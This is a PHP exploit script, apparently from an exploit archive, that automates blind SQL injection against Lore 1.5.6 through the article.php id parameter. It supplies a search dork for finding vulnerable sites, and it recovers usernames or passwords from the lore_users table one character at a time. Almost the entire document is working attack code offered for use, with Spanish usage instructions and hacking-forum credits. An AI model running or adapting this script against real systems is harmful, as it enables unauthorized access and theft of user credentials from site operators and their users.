Lore 1.5.6 SQL Injection

`<?  
/* *** CURL HABILITADO ****  
Blind Sql Injections   
Script Version : >Lore 1.5.6   
Bug : > article.php?id=Blind ,Comentarios Habilitados * "Add Comment"  
Dork : > intext:"Powered by Lore 1.5.6"  
Coded By OzX[NuKE/US]  
HTTP://FORO.UNDERSECURITY.NET  
HTTP://FORO.EL-HACKER.COM  
Gracias C1c4tr1z,Tecn0x,Lix,1995,N0b0dy,NanonRoses,Codebreak(?),Nork,Azrael[NuKE] && Todos los Miembros de UnderSecurity.net  
100% CHILE  
  
*/  
  
set_time_limit (0);   
function GET($url) {  
$curl = curl_init();  
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";  
$header[] = "Cache-Control: max-age=0";  
$header[] = "Connection: keep-alive";  
$header[] = "Keep-Alive: 300";  
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";  
$header[] = "Accept-Language: en-us,en;q=0.5";  
$header[] = "Pragma: ";   
curl_setopt($curl, CURLOPT_URL, $url);  
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');  
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);  
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');  
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');  
curl_setopt($curl, CURLOPT_AUTOREFERER, true);  
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($curl, CURLOPT_TIMEOUT, 10);  
if (!$html = curl_exec($curl)) {   
$html = file_get_contents($url);  
}  
curl_close($curl);  
return $html;   
}  
  
function contar($host){  
return count(explode("\n",GET($host)));  
}  
function sql($sql,$i){   
return "+and+ascii(substring((".$sql."),".$i.",1))=";  
}  
  
function genera_ansii(){  
for ($x=45;$x<=122;$x++){ //0-9 a-z && _  
if ($x==47){ // /  
$x++;  
}  
if ($x==58){  
$x=$x+37;  
}  
if($x==96){//sacamos el '  
$x++;  
}  
  
$ansi[]=$x;  
}  
return $ansi;  
}  
  
$url = $argv[1];   
$id = $argv[2];  
$opt = $argv[3];  
  
if (count($argv)!=4){  
echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";  
echo "USO :> php ".$argv[0]." url id -u [Obtener Usuario]\n";  
echo "USO :> php ".$argv[0]."p url id -p [Obtener Password]\n";  
echo "Ejemplo :> php ".$argv[0].".php http://www.website.com/article.php?id=009 1 -u \n";  
}else{  
  
preg_match_all("/(comment\.php\?article_id)/", GET($url), $dat, PREG_SET_ORDER);  
if (!$dat){  
echo "ERROR NO VULNERABLE | POSIBLEMENTE COMENTARIOS NO HABILITADOS\n";  
}else{  
  
echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";  
if ($opt == "-u"){  
$var = "username";  
}elseif($opt == "-p"){  
$var = "password";  
}else{  
echo "[+] Parametros Incorrectos \n";  
exit();  
}  
  
echo $var.":\n";  
$ansi = genera_ansii();   
$query = "select+".$var."+from+lore_users+where+id=".$id;  
$original = contar($url);  
$i=1;  
for ($x=0;$x<=count($ansi);$x++){  
$var = $ansi[$x];  
$urlblind = $url.sql($query."+limit+0,1",$i).$var;   
$blind = contar($urlblind);  
if ($blind == $original){  
$name.=chr($var);  
//system("clear"); //Linux  
echo " :> ".$name.chr(8);  
$i++;  
$x=-1;  
}  
echo chr($var).chr(13);  
}  
echo "\nResultado :> ".$name."\n";  
}  
  
}  
  
  
?>  
  
`